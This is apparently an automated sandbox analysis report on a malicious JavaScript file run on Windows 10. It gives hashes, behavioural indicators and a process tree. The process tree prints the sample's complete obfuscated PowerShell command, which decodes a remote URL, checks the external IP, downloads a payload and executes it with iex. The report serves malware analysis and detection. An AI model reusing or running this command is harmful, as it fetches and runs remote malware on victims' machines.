Analysis

  • max time kernel
    135s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/05/2023, 10:01

General

  • Target

    Info_8_may_7937412.js

  • Size

    317KB

  • MD5

    633689a3c81385c9d6cd2484568381e5

  • SHA1

    3826e574c4d9b5cad277d33cf045f18bb79f2b73

  • SHA256

    05fd936b02186833f045ea6dae98f72c658b28711d18ee21000bda405db3c903

  • SHA512

    fd6a905928cf9317922ceb682d8e180c07ef0c9c877bb90e4a2781840269bd52d3ec05c48d59e306b61866b5719036e4a4aa4627be592bc0498489aa2b29c256

  • SSDEEP

    3072:nJXSxohIPrgqyEDtkXjGtmloqvAShw3TCX1ZK9M59a/B3XDk9/f0zVvoySeZx7Th:Y

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Info_8_may_7937412.js
    1⤵
      PID:628
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(3252,3317,3326,3334,3274,3315,3327,3325,3328,3333,3332,3317,3330,3326,3313,3325,3317)|foreach{$qdgp=$qdgp+[char]($_-3216)};@(2132,2169,2177,2170,2166,2160,2104,2141,2160,2174,2175,2136,2160,2175,2163,2170,2159)|foreach{$kohp=$kohp+[char]($_-2059)};@(5144,5151,5144,5149,5141,5150,5085,5144,5150,5086,5144,5151)|foreach{$vdopmj=$vdopmj+[char]($_-5039)};@(8283,8295,8295,8291,8237,8226,8226,8291,8293,8296,8297,8277,8225,8281,8296,8289,8226,8293,8295,8225,8291,8283,8291,8242,8284,8240)|foreach{$pzusvm=$pzusvm+[char]($_-8179)};new-alias qfer $kohp;$ldwnyj='rl';$yga = qfer -Uri $vdopmj;new-alias reap cu$ldwnyj;$ds=$executioncontext.invokecommand.expandstring($qdgp);.$([char](6692-6587)+'ex')(reap -useb "$pzusvm$yga<>$ds")
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell @(3252,3317,3326,3334,3274,3315,3327,3325,3328,3333,3332,3317,3330,3326,3313,3325,3317)|foreach{$qdgp=$qdgp+[char]($_-3216)};@(2132,2169,2177,2170,2166,2160,2104,2141,2160,2174,2175,2136,2160,2175,2163,2170,2159)|foreach{$kohp=$kohp+[char]($_-2059)};@(5144,5151,5144,5149,5141,5150,5085,5144,5150,5086,5144,5151)|foreach{$vdopmj=$vdopmj+[char]($_-5039)};@(8283,8295,8295,8291,8237,8226,8226,8291,8293,8296,8297,8277,8225,8281,8296,8289,8226,8293,8295,8225,8291,8283,8291,8242,8284,8240)|foreach{$pzusvm=$pzusvm+[char]($_-8179)};new-alias qfer $kohp;$ldwnyj='rl';$yga = qfer -Uri $vdopmj;new-alias reap cu$ldwnyj;$ds=$executioncontext.invokecommand.expandstring($qdgp);.$([char](6692-6587)+'ex')(reap -useb $pzusvm$yga<>$ds)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:564

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x0vvhroq.3gx.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/564-134-0x000001F3149A0000-0x000001F3149C2000-memory.dmp

      Filesize

      136KB

    • memory/564-144-0x000001F314750000-0x000001F314760000-memory.dmp

      Filesize

      64KB

    • memory/564-145-0x000001F314750000-0x000001F314760000-memory.dmp

      Filesize

      64KB

    • memory/564-146-0x000001F314750000-0x000001F314760000-memory.dmp

      Filesize

      64KB

    • memory/564-147-0x000001F32F590000-0x000001F32F752000-memory.dmp

      Filesize

      1.8MB